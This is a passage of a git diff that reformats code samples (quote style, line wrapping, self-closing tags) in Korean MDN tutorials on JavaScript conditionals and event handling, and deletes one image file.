-  console.log('You should leave the house quickly.');
+if (iceCreamVanOutside || houseStatus === "on fire") {
+  console.log("You should leave the house quickly.");
 } else {
-  console.log('Probably should just stay in then.');
+  console.log("Probably should just stay in then.");
 }
 ```
 
 논리 연산자의 마지막 유형인 `!` 연산자로 표현되는 NOT은 표현식을 부정(negate)하기 위해 사용될 수 있습니다. 위 OR 예시와 함께 봅시다.
 
 ```js
-if (!(iceCreamVanOutside || houseStatus === 'on fire')) {
-  console.log('Probably should just stay in then.');
+if (!(iceCreamVanOutside || houseStatus === "on fire")) {
+  console.log("Probably should just stay in then.");
 } else {
-  console.log('You should leave the house quickly.');
+  console.log("You should leave the house quickly.");
 }
 ```
 
@@ -244,7 +261,7 @@ if (!(iceCreamVanOutside || houseStatus === 'on fire')) {
 어떤 구조든지, 여러분이 원하는 만큼 많은 논리 문(statement)을 결합할 수 있습니다. 다음 예시는 오직 두 OR 문 모두가 true를 리턴하면 내부의 코드를 실행하는데, 이는 전체의 AND 문이 true를 리턴할 것임을 의미합니다.
 
 ```js
-if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) {
+if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === "Steve")) {
   // run the code
 }
 ```
@@ -260,7 +277,7 @@ if (x === 5 || 7 || 10 || 20) {
 이 경우에 `if(...)` 내부 조건은 7(또는 다른 0이 아닌 값)이 항상 true로 평가되므로, 항상 true로 평가될 것입니다. 이 조건은 실제로는 "만약 x가 5와 같거나, 7이 true면 — 이것은 항상 true다"라고 분명하게 말하고 있습니다. 이것은 논리적으로 우리가 원하는 것이 아닙니다! 이를 동작하게 하기 위해 우리는 각 OR 연산자의 양 측에서 완전한 테스트를 명시해야 합니다.
 
 ```js
-if (x === 5 || x === 7 || x === 10 ||x === 20) {
+if (x === 5 || x === 7 || x === 10 || x === 20) {
   // run my code
 }
 ```
@@ -318,30 +335,33 @@ switch (expression) {
 ```
 
 ```js
-const select = document.querySelector('select');
-const para = document.querySelector('p');
-
-select.addEventListener('change', setWeather);
+const select = document.querySelector("select");
+const para = document.querySelector("p");
 
+select.addEventListener("change", setWeather);
 
 function setWeather() {
   const choice = select.value;
 
   switch (choice) {
-    case 'sunny':
-      para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.';
+    case "sunny":
+      para.textContent =
+        "It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.";
       break;
-    case 'rainy':
-      para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.';
+    case "rainy":
+      para.textContent =
+        "Rain is falling outside; take a rain coat and a brolly, and don't stay out for too long.";
       break;
-    case 'snowing':
-      para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.';
+    case "snowing":
+      para.textContent =
+        "The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.";
       break;
-    case 'overcast':
-      para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.';
+    case "overcast":
+      para.textContent =
+        "It isn't raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.";
       break;
     default:
-      para.textContent = '';
+      para.textContent = "";
   }
 }
 ```
@@ -361,7 +381,9 @@ function setWeather() {
 그러면 간단한 예를 봅시다:
 
 ```js
-let greeting = ( isBirthday ) ? 'Happy birthday Mrs. Smith — we hope you have a great day!' : 'Good morning Mrs. Smith.';
+let greeting = isBirthday
+  ? "Happy birthday Mrs. Smith — we hope you have a great day!"
+  : "Good morning Mrs. Smith.";
 ```
 
 `isBirthday` 라는 변수명이 여기 있습니다 — 만약 이것이 `true`라면, 우리는 게스트에게 생일 축하 메시지를 보냅니다; 만약 아니라면, 우리는 그녀에게 일반적인 인사를 보냅니다.
@@ -381,18 +403,20 @@ let greeting = ( isBirthday ) ? 'Happy birthday Mrs. Smith — we hope you have
 ```
 
 ```js
-const select = document.querySelector('select');
-const html = document.querySelector('html');
-document.body.style.padding = '10px';
+const select = document.querySelector("select");
+const html = document.querySelector("html");
+document.body.style.padding = "10px";
 
 function update(bgColor, textColor) {
   html.style.backgroundColor = bgColor;
   html.style.color = textColor;
 }
 
-select.onchange = function() {
-  ( select.value === 'black' ) ? update('black','white') : update('white','black');
-}
+select.onchange = function () {
+  select.value === "black"
+    ? update("black", "white")
+    : update("white", "black");
+};
 ```
 
 {{ EmbedLiveSample('Ternary_operator_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}
@@ -448,7 +472,9 @@ select.onchange = function() {
 </div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
 <textarea id="code" class="playable-code" style="height: 400px;width: 95%">
 const select = document.querySelector('select');
@@ -477,8 +503,8 @@ createCalendar(31,'January');
 </textarea>
 
 <div class="playable-buttons">
-  <input id="reset" type="button" value="Reset">
-  <input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
@@ -498,7 +524,7 @@ createCalendar(31,'January');
   border: 2px solid white;
   padding: 5px;
   height: 40px;
-  background-color: #4A2DB6;
+  background-color: #4a2db6;
   color: white;
 }
 
@@ -524,9 +550,9 @@ body {
 ```
 
 ```js hidden
-const textarea = document.getElementById('code');
-const reset = document.getElementById('reset');
-const solution = document.getElementById('solution');
+const textarea = document.getElementById("code");
+const reset = document.getElementById("reset");
+const solution = document.getElementById("solution");
 let code = textarea.value;
 let userEntry = textarea.value;
 
@@ -534,38 +560,39 @@ function updateCode() {
   eval(textarea.value);
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = jsSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
 
-const jsSolution = 'const select = document.querySelector(\'select\');\nconst list = document.querySelector(\'ul\');\nconst h1 = document.querySelector(\'h1\');\n\nselect.onchange = function() {\n const choice = select.value;\n let days = 31;\n if(choice === \'February\') {\n days = 28;\n } else if(choice === \'April\' || choice === \'June\' || choice === \'September\'|| choice === \'November\') {\n days = 30;\n }\n\n createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = \'\';\n h1.textContent = choice;\n for(let i = 1; i <= days; i++) {\n const listItem = document.createElement(\'li\');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,\'January\');';
+const jsSolution =
+  "const select = document.querySelector('select');\nconst list = document.querySelector('ul');\nconst h1 = document.querySelector('h1');\n\nselect.onchange = function() {\n const choice = select.value;\n let days = 31;\n if(choice === 'February') {\n days = 28;\n } else if(choice === 'April' || choice === 'June' || choice === 'September'|| choice === 'November') {\n days = 30;\n }\n\n createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = '';\n h1.textContent = choice;\n for(let i = 1; i <= days; i++) {\n const listItem = document.createElement('li');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,'January');";
 let solutionEntry = jsSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -576,8 +603,11 @@ textarea.onkeydown = function(e){
 function insertAtCaret(text) {
   const scrollPos = textarea.scrollTop;
   let caretPos = textarea.selectionStart;
-  const front = (textarea.value).substring(0, caretPos);
-  const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  const front = textarea.value.substring(0, caretPos);
+  const back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
 
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
@@ -589,10 +619,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
@@ -630,7 +660,9 @@ textarea.onkeyup = function(){
 </div>
 
 <h2>Editable code</h2>
-<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p>
+<p class="a11y-label">
+  Press Esc to move focus away from the code area (Tab inserts a tab character).
+</p>
 
 <textarea id="code" class="playable-code" style="height: 450px;width: 95%">
 const select = document.querySelector('select');
@@ -645,11 +677,12 @@ select.onchange = function() {
 function update(bgColor, textColor) {
   html.style.backgroundColor = bgColor;
   html.style.color = textColor;
-}</textarea>
+}</textarea
+>
 
 <div class="playable-buttons">
-  <input id="reset" type="button" value="Reset">
-  <input id="solution" type="button" value="Show solution">
+  <input id="reset" type="button" value="Reset" />
+  <input id="solution" type="button" value="Show solution" />
 </div>
 ```
 
@@ -676,9 +709,9 @@ body {
 ```
 
 ```js hidden
-const textarea = document.getElementById('code');
-const reset = document.getElementById('reset');
-const solution = document.getElementById('solution');
+const textarea = document.getElementById("code");
+const reset = document.getElementById("reset");
+const solution = document.getElementById("solution");
 let code = textarea.value;
 let userEntry = textarea.value;
 
@@ -686,38 +719,39 @@ function updateCode() {
   eval(textarea.value);
 }
 
-reset.addEventListener('click', function() {
+reset.addEventListener("click", function () {
   textarea.value = code;
   userEntry = textarea.value;
   solutionEntry = jsSolution;
-  solution.value = 'Show solution';
+  solution.value = "Show solution";
   updateCode();
 });
 
-solution.addEventListener('click', function() {
-  if(solution.value === 'Show solution') {
+solution.addEventListener("click", function () {
+  if (solution.value === "Show solution") {
     textarea.value = solutionEntry;
-    solution.value = 'Hide solution';
+    solution.value = "Hide solution";
   } else {
     textarea.value = userEntry;
-    solution.value = 'Show solution';
+    solution.value = "Show solution";
   }
   updateCode();
 });
 
-const jsSolution = 'const select = document.querySelector(\'select\');\nconst html = document.querySelector(\'.output\');\n\nselect.onchange = function() {\n const choice = select.value;\n\n switch(choice) {\n case \'black\':\n update(\'black\',\'white\');\n break;\n case \'white\':\n update(\'white\',\'black\');\n break;\n case \'purple\':\n update(\'purple\',\'white\');\n break;\n case \'yellow\':\n update(\'yellow\',\'darkgray\');\n break;\n case \'psychedelic\':\n update(\'lime\',\'purple\');\n break;\n }\n}\n\nfunction update(bgColor, textColor) {\n html.style.backgroundColor = bgColor;\n html.style.color = textColor;\n}';
+const jsSolution =
+  "const select = document.querySelector('select');\nconst html = document.querySelector('.output');\n\nselect.onchange = function() {\n const choice = select.value;\n\n switch(choice) {\n case 'black':\n update('black','white');\n break;\n case 'white':\n update('white','black');\n break;\n case 'purple':\n update('purple','white');\n break;\n case 'yellow':\n update('yellow','darkgray');\n break;\n case 'psychedelic':\n update('lime','purple');\n break;\n }\n}\n\nfunction update(bgColor, textColor) {\n html.style.backgroundColor = bgColor;\n html.style.color = textColor;\n}";
 let solutionEntry = jsSolution;
 
-textarea.addEventListener('input', updateCode);
-window.addEventListener('load', updateCode);
+textarea.addEventListener("input", updateCode);
+window.addEventListener("load", updateCode);
 
 // stop tab key tabbing out of textarea and
 // make it write a tab at the caret position instead
 
-textarea.onkeydown = function(e){
+textarea.onkeydown = function (e) {
   if (e.keyCode === 9) {
     e.preventDefault();
-    insertAtCaret('\t');
+    insertAtCaret("\t");
   }
 
   if (e.keyCode === 27) {
@@ -728,8 +762,11 @@ textarea.onkeydown = function(e){
 function insertAtCaret(text) {
   const scrollPos = textarea.scrollTop;
   let caretPos = textarea.selectionStart;
-  const front = (textarea.value).substring(0, caretPos);
-  const back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  const front = textarea.value.substring(0, caretPos);
+  const back = textarea.value.substring(
+    textarea.selectionEnd,
+    textarea.value.length,
+  );
 
   textarea.value = front + text + back;
   caretPos = caretPos + text.length;
@@ -741,10 +778,10 @@ function insertAtCaret(text) {
 
 // Update the saved userCode every time the user updates the text area code
 
-textarea.onkeyup = function(){
+textarea.onkeyup = function () {
   // We only want to save the state when the user code is being shown,
   // not the solution, so that solution is not saved over the user code
-  if(solution.value === 'Show solution') {
+  if (solution.value === "Show solution") {
     userEntry = textarea.value;
   } else {
     solutionEntry = textarea.value;
diff --git a/files/ko/learn/javascript/building_blocks/events/bubbling-capturing.png b/files/ko/learn/javascript/building_blocks/events/bubbling-capturing.png
deleted file mode 100644
index c4c87b4ff648a0..00000000000000
Binary files a/files/ko/learn/javascript/building_blocks/events/bubbling-capturing.png and /dev/null differ
diff --git a/files/ko/learn/javascript/building_blocks/events/index.md b/files/ko/learn/javascript/building_blocks/events/index.md
index 47171052a2b866..4a02379291623d 100644
--- a/files/ko/learn/javascript/building_blocks/events/index.md
+++ b/files/ko/learn/javascript/building_blocks/events/index.md
@@ -58,22 +58,25 @@ slug: Learn/JavaScript/Building_blocks/Events
 ```
 
 ```css hidden
-button { margin: 10px };
+button {
+  margin: 10px;
+}
 ```
 
 JavaScript는 다음과 같습니다:
 
 ```js
-const btn = document.querySelector('button');
+const btn = document.querySelector("button");
 
 function random(number) {
-  return Math.floor(Math.random() * (number+1));
+  return Math.floor(Math.random() * (number + 1));
 }
 
-btn.onclick = function() {
-  const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+btn.onclick = function () {
+  const rndCol =
+    "rgb(" + random(255) + "," + random(255) + "," + random(255) + ")";
   document.body.style.backgroundColor = rndCol;
-}
+};
 ```
 
 이 코드에서, {{domxref("Document.querySelector()")}} 함수를 사용하여, 우리는 `btn` 상수 내부에 버튼에 대한 참조를 저장했습니다. 우리는 또한 무작위의 숫자를 반환하는 함수를 정의했습니다. 코드의 세번째 부분은 이벤트 핸들러입니다. `btn` 상수는 [`<button>`](/ko/docs/Web/HTML/Element/button) 요소를 가리키고, 이 타입의 객체는 발생시킬 수 있는 얼마간의 이벤트를 가지고 있으므로, 이벤트 핸들러를 사용 가능합니다. [`onclick`](/ko/docs/Web/API/GlobalEventHandlers/onclick) 이벤트 핸들러 프로퍼티를 무작위의 RGB 색상을 생성하고 그것과 같은 [`<body>`](/ko/docs/Web/HTML/Element/body) [`background-color`](/ko/docs/Web/CSS/background-color)를 설정하는 코드를 포함하는 익명함수에 설정함으로써, 우리는 [`click`](/ko/docs/Web/API/Element/click_event) 이벤트 발생에 귀를 기울이고 있습니다.
@@ -103,12 +106,13 @@ btn.onclick = function() {
 이것들은 이 코스 동안에 우리가 가장 자주 봤던 이벤트 핸들러 코드를 포함하기 위해 존재하는 프로퍼티입니다. 위의 예제로 돌아가 봅시다.
 
 ```js
-const btn = document.querySelector('button');
+const btn = document.querySelector("button");
 
-btn.onclick = function() {
-  const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+btn.onclick = function () {
+  const rndCol =
+    "rgb(" + random(255) + "," + random(255) + "," + random(255) + ")";
   document.body.style.backgroundColor = rndCol;
-}
+};
 ```
 
 [`onclick`](/ko/docs/Web/API/GlobalEventHandlers/onclick) 프로퍼티는 이 상황에서 쓰이고 있는 이벤트 핸들러 프로퍼티입니다. 이것은 본질적으로 버튼에서 사용 가능한 다른 것들과 같은 프로퍼티지만 (예: [`btn.textContent`](/ko/docs/Web/API/Node/textContent), 또는 [`btn.style`](/ko/docs/Web/API/HTMLElement/style)), 이것은 특별한 타입입니다 — 어떤 코드와 동일한 것을 설정했을 때, 그 코드는 버튼에서 이벤트가 발생되었을 때 실행됩니다.
@@ -116,10 +120,11 @@ btn.onclick = function() {
 여러분은 또한 기명 함수 이름과 같은 핸들러 프로퍼티를 설정할 수 있습니다 ([자신만의 함수 만들기](/ko/docs/Learn/JavaScript/Building_blocks/Build_your_own_function)에서 본 것처럼요). 다음은 아주 똑같이 동작합니다:
 
 ```js
-const btn = document.querySelector('button');
+const btn = document.querySelector("button");
 
 function bgChange() {
-  const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  const rndCol =
+    "rgb(" + random(255) + "," + random(255) + "," + random(255) + ")";
   document.body.style.backgroundColor = rndCol;
 }
 
@@ -147,7 +152,8 @@ btn.onclick = bgChange;
 
 ```js
 function bgChange() {
-  const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  const rndCol =
+    "rgb(" + random(255) + "," + random(255) + "," + random(255) + ")";
   document.body.style.backgroundColor = rndCol;
 }
 ```
@@ -157,7 +163,9 @@ function bgChange() {
 웹에서 찾아지는 가장 이른 이벤트 핸들러의 등록 방법은 위에서 보이는 것처럼 **이벤트 핸들러 HTML 어트리뷰트** (또는 **인라인 이벤트 핸들러**)을 포함합니다. — 어트리뷰트 값은 말 그대로 이벤트가 발생되었을 때 여러분이 실행하기를 원하는 JavaScript 코드입니다. 위의 예시는 같은 페이지의 {{htmlelement("script")}} 요소 안에서 정의된 함수를 호출하지만, 여러분은 또한 어트리뷰트 안에 직접적으로 JavaScript을 삽입할 수 있습니다. 예를 들자면:
 
 ```html
-<button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button>
+<button onclick="alert('Hello, this is my old-fashioned event handler!');">
+  Press me
+</button>
 ```
 
 여러분은 HTML 어트리뷰트를 많은 이벤트 핸들러 프로퍼티와 동등한 것이라고 생각할 수도 있습니다; 그러나, 여러분은 이 방법을 사용해서는 안 됩니다 — 이 방법은 나쁜 습관이라고 여겨집니다. 만약 여러분이 뭔가를 정말 빨리 한다면 이벤트 핸들러 어트리뷰트를 사용하는 것이 쉬워 보일지도 모르나, 이것은 빠르게 다루기 힘들어지고 비효율적이 됩니다.
@@ -167,7 +175,7 @@ function bgChange() {
 하나의 파일이더라도, 인라인 이벤트 핸들러는 좋은 생각이 아닙니다. 하나의 버튼은 괜찮지만, 100개의 버튼이라면 어떡할 건가요? 여러분은 파일에 100개의 어트리뷰트를 더해야만 합니다; 이것은 빠르게 유지보수의 악몽으로 변할 것입니다. JavaScript와 함께, 다음과 같은 것을 통해서, 여러분은 버튼이 얼마나 있든 간에 페이지에 있는 모든 버튼에 쉽게 이벤트 핸들러를 추가할 수 있습니다.
 
 ```js
-const buttons = document.querySelectorAll('button');
+const buttons = document.querySelectorAll("button");
 
 for (let i = 0; i < buttons.length; i++) {
   buttons[i].onclick = bgChange;
@@ -177,7 +185,7 @@ for (let i = 0; i < buttons.length; i++) {
 여기서의 또 다른 옵션은 [`NodeList`](/ko/docs/Web/API/NodeList) 객체에서 사용 가능한 [`forEach()`](/ko/docs/Web/API/NodeList/forEach) 내장 메서드를 사용하는 것이라는 데 주목해 주세요.
 
 ```js
-buttons.forEach(function(button) {
+buttons.forEach(function (button) {
   button.onclick = bgChange;
 });
 ```
@@ -189,14 +197,15 @@ buttons.forEach(function(button) {
 이벤트 핸들러를 더하는 현대적인 메커니즘은 [`addEventListener()`](/ko/docs/Web/API/EventTarget/addEventListener) 메서드입니다. 이것을 사용해서, 우리는 무작위 색상 예제를 다음과 같이 재작성할 수 있습니다.
 
 ```js
-const btn = document.querySelector('button');
+const btn = document.querySelector("button");
 
 function bgChange() {
-  const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  const rndCol =
+    "rgb(" + random(255) + "," + random(255) + "," + random(255) + ")";
   document.body.style.backgroundColor = rndCol;
 }
 
-btn.addEventListener('click', bgChange);
+btn.addEventListener("click", bgChange);
 ```
 
 > **참고:** 여러분은 이 예제에 대한 [전체 소스 코드를](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-addeventlistener.html) Github에서 찾을 수 있습니다 (또한 [실제로 작동하는 모습](https://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-addeventlistener.html)도 보세요).
@@ -204,8 +213,9 @@ btn.addEventListener('click', bgChange);
 `addEventListener()` 함수 안에, 우리는 두 매개변수(parameter)를 명시합니다: 우리가 이 핸들러에 등록하고자 하는 이벤트의 이름과, 그것에 응답하여 우리가 실행하기를 원하는 핸들러 함수를 구성하는 코드입니다. 알림: `addEventListener()` 내부에, 다음과 같이, 익명 함수 안에 모든 코드를 넣는 것은 완벽히 괜찮습니다:
 
 ```js
-btn.addEventListener('click', function() {
-  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+btn.addEventListener("click", function () {
+  var rndCol =
+    "rgb(" + random(255) + "," + random(255) + "," + random(255) + ")";
   document.body.style.backgroundColor = rndCol;
 });
 ```
@@ -213,17 +223,22 @@ btn.addEventListener('click', function() {
 이 메커니즘은 앞에서 논한 낡은 메커니즘들에 비해 몇몇 이점을 가지고 있습니다. 첫째로, 이전에 추가한 이벤트 핸들러를 제거하는, [`removeEventListener()`](/ko/docs/Web/API/EventTarget/removeEventListener)라는 대응 관계에 있는 함수가 있습니다. 예를 들어, 이것은 이 섹션의 첫번째 코드 블록 안에 있는 이벤트 핸들러를 제거할 것입니다.
 
 ```js
-btn.removeEventListener('click', bgChange);
+btn.removeEventListener("click", bgChange);
 ```
 
 이벤트 핸들러는 또한 {{domxref("AbortSignal")}}을 {{domxref("EventTarget/addEventListener()", "addEventListener()")}}에 전달하고, 그리고서 나중에, `AbortSignal`을 소유하고 있는 컨트롤러에서 {{domxref("AbortController/abort()", "abort()")}}를 호출함으로써 제거할 수도 있습니다. 예를 들자면, 우리가 `AbortSignal`로 제거할 수 있는 이벤트 핸들러를 추가하기 위해서는:
 
 ```js
 const controller = new AbortController();
-btn.addEventListener('click', function() {
-  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
-  document.body.style.backgroundColor = rndCol;
-}, { signal: controller.signal }); // 이 핸들러에 AbortSignal을 전달
+btn.addEventListener(
+  "click",
+  function () {
+    var rndCol =
+      "rgb(" + random(255) + "," + random(255) + "," + random(255) + ")";
+    document.body.style.backgroundColor = rndCol;
+  },
+  { signal: controller.signal },
+); // 이 핸들러에 AbortSignal을 전달
 ```
 
 그리고서 위의 코드로 생성된 이벤트 핸들러는 다음과 같이 제거될 수 있습니다:
@@ -244,8 +259,8 @@ myElement.onclick = functionB;
 두 번째 줄이 첫 번째 줄에 의해 설정된 `onclick`의 값을 덮어씁니다. 그러나, 다음은 작동할 것입니다.
 
 ```js
-myElement.addEventListener('click', functionA);
-myElement.addEventListener('click', functionB);
+myElement.addEventListener("click", functionA);
+myElement.addEventListener("click", functionB);
 ```
 
 두 함수 모두는 이제 요소가 선택되었을 때 실행될 것입니다.
@@ -281,12 +296,13 @@ element.onclick = function2;
 
 ```js
 function bgChange(e) {
-  const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  const rndCol =
+    "rgb(" + random(255) + "," + random(255) + "," + random(255) + ")";
   e.target.style.backgroundColor = rndCol;
   console.log(e);
 }
 
-btn.addEventListener('click', bgChange);
+btn.addEventListener("click", bgChange);
 ```
 
 > **참고:** #### 참고여러분은 이 예제에 대한 [전체 소스 코드를](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventobject.html) Github에서 찾을 수 있습니다 (또한 [실제로 작동하는 모습](https://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventobject.html)도 보세요).
@@ -298,22 +314,22 @@ btn.addEventListener('click', bgChange);
 여러분이 같은 이벤트 핸들러를 다수의 요소에 설정하고 그것들에 이벤트가 발생되었을 때 그것들 모두에 뭔가를 하기를 원할 때 `e.target`은 엄청나게 유용합니다. 예를 들자면, 여러분에게 선택되었을 때 사라지는 16개의 타일 세트가 있다고 합시다. 타일을 몇몇 더욱 어려운 방법으로 선택해야만 하는 것 대신에, `e.target`으로서 단지 타일을 사라지게 항상 설정할 수 있는 것은 유용합니다. 다음의 예제에서 (전체 소스 코드는 [useful-eventtarget.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html)에서 찾을 수 있습니다; [또한 실제로 작동하는 모습](https://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html)도 보세요), 우리는 16개의 {{htmlelement("div")}} 요소를 JavaScript를 통해 생성했습니다. 우리는 그리고서 {{domxref("document.querySelectorAll()")}}을 사용해 그것들 모두를 선택했고, 그리고서 선택되었을 때 무작위 색상이 적용되도록 만드는 `onclick` 핸들러를 각각에 추가하며 요소들을 순회했습니다:
 
 ```js
-const divs = document.querySelectorAll('div');
+const divs = document.querySelectorAll("div");
 
 for (let i = 0; i < divs.length; i++) {
-  divs[i].onclick = function(e) {
+  divs[i].onclick = function (e) {
     e.target.style.backgroundColor = bgChange();
-  }
+  };
 }
 ```
 
 출력은 다음과 같습니다 (타일들을 클릭해 보세요 — 즐겨 보세요):
 
 ```html hidden
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>Useful event target example</title>
     <style>
       div {
@@ -326,26 +342,27 @@ for (let i = 0; i < divs.length; i++) {
   <body>
     <script>
       for (let i = 1; i <= 16; i++) {
-        const myDiv = document.createElement('div');
+        const myDiv = document.createElement("div");
         myDiv.style.backgroundColor = "red";
         document.body.appendChild(myDiv);
       }
 
       function random(number) {
-        return Math.floor(Math.random()*number);
+        return Math.floor(Math.random() * number);
       }
 
       function bgChange() {
-        var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+        var rndCol =
+          "rgb(" + random(255) + "," + random(255) + "," + random(255) + ")";
         return rndCol;
       }
 
-      const divs = document.querySelectorAll('div');
+      const divs = document.querySelectorAll("div");
 
       for (let i = 0; i < divs.length; i++) {
-        divs[i].onclick = function(e) {
+        divs[i].onclick = function (e) {
           e.target.style.backgroundColor = bgChange();
-        }
+        };
       }
     </script>
   </body>
@@ -368,14 +385,14 @@ for (let i = 0; i < divs.length; i++) {
 <form>
   <div>
     <label for="fname">First name: </label>
-    <input id="fname" type="text">
+    <input id="fname" type="text" />
   </div>
   <div>
     <label for="lname">Last name: </label>
-    <input id="lname" type="text">
+    <input id="lname" type="text" />
   </div>
   <div>
-     <input id="submit" type="submit">
+    <input id="submit" type="submit" />
   </div>
 </form>
 <p></p>
@@ -390,17 +407,17 @@ div {
 이제 JavaScript입니다 — 여기 우리는 텍스트 필드가 비었는지를 검사하는 [`onsubmit`](/ko/docs/Web/API/GlobalEventHandlers/onsubmit) 이벤트 핸들러 (제출 이벤트는 양식이 제출되었을 때 발생됩니다) 내부에 아주 간단한 점검을 구현했습니다. 만약 텍스트 필드가 비었다면, 우리는 이벤트 객체에 있는 — 양식 제출을 멈추는 — [`preventDefault()`](/ko/docs/Web/API/Event/preventDefault) 함수를 호출하고 그리고서 유저에게 무엇이 잘못되었는지를 말하기 위해 양식 아래에 있는 단락에 에러 메시지를 표시합니다.
 
 ```js
-const form = document.querySelector('form');
-const fname = document.getElementById('fname');
-const lname = document.getElementById('lname');
-const para = document.querySelector('p');
+const form = document.querySelector("form");
+const fname = document.getElementById("fname");
+const lname = document.getElementById("lname");
+const para = document.querySelector("p");
 
-form.onsubmit = function(e) {
-  if (fname.value === '' || lname.value === '') {
+form.onsubmit = function (e) {
+  if (fname.value === "" || lname.value === "") {
     e.preventDefault();
-    para.textContent = 'You need to fill in both names!';
+    para.textContent = "You need to fill in both names!";
   }
-}
+};
 ```
 
 명백히, 이것은 아주 약한 양식 확인입니다 — 예를 들자면, 필드에 공백이나 숫자가 입력된 채의 양식을 확인하는 유저를 멈추지 못할 것입니다 — 하지만 예제의 목적으로라면 괜찮습니다. 결과는 다음과 같습니다.
@@ -414,21 +431,25 @@ form.onsubmit = function(e) {
 여기서 다룰 마지막 주제는 여러분이 종종 마주치지 못할 무언가이지만, 만약 여러분이 이것을 이해하지 못한다면 진짜 고통일 것입니다. 이벤트 버블링과 캡처는 같은 이벤트 타입의 두 이벤트 핸들러가 한 요소에서 작동되었을 때 무슨 일이 일어나는지를 기술하는 두 메커니즘입니다. 이것을 쉽게 만드는 예시를 봅시다. [show-video-box.html](https://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box.html) 예시와 ([소스 코드](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/show-video-box.html)를 다른 탭에서) 여세요. 이것은 또한 아래에서 바로 이용 가능합니다.
 
 ```html hidden
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>Show video box example</title>
     <style>
       div {
         position: absolute;
         top: 50%;
-        transform: translate(-50%,-50%);
+        transform: translate(-50%, -50%);
         width: 480px;
         height: 380px;
         border-radius: 10px;
         background-color: #eee;
-        background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.1));
+        background-image: linear-gradient(
+          to bottom,
+          rgba(0, 0, 0, 0),
+          rgba(0, 0, 0, 0.1)
+        );
       }
 
       .hidden {
@@ -444,7 +465,6 @@ form.onsubmit = function(e) {
         width: 400px;
         margin: 40px auto;
       }
-
     </style>
   </head>
   <body>
@@ -452,36 +472,41 @@ form.onsubmit = function(e) {
 
     <div class="hidden">
       <video>
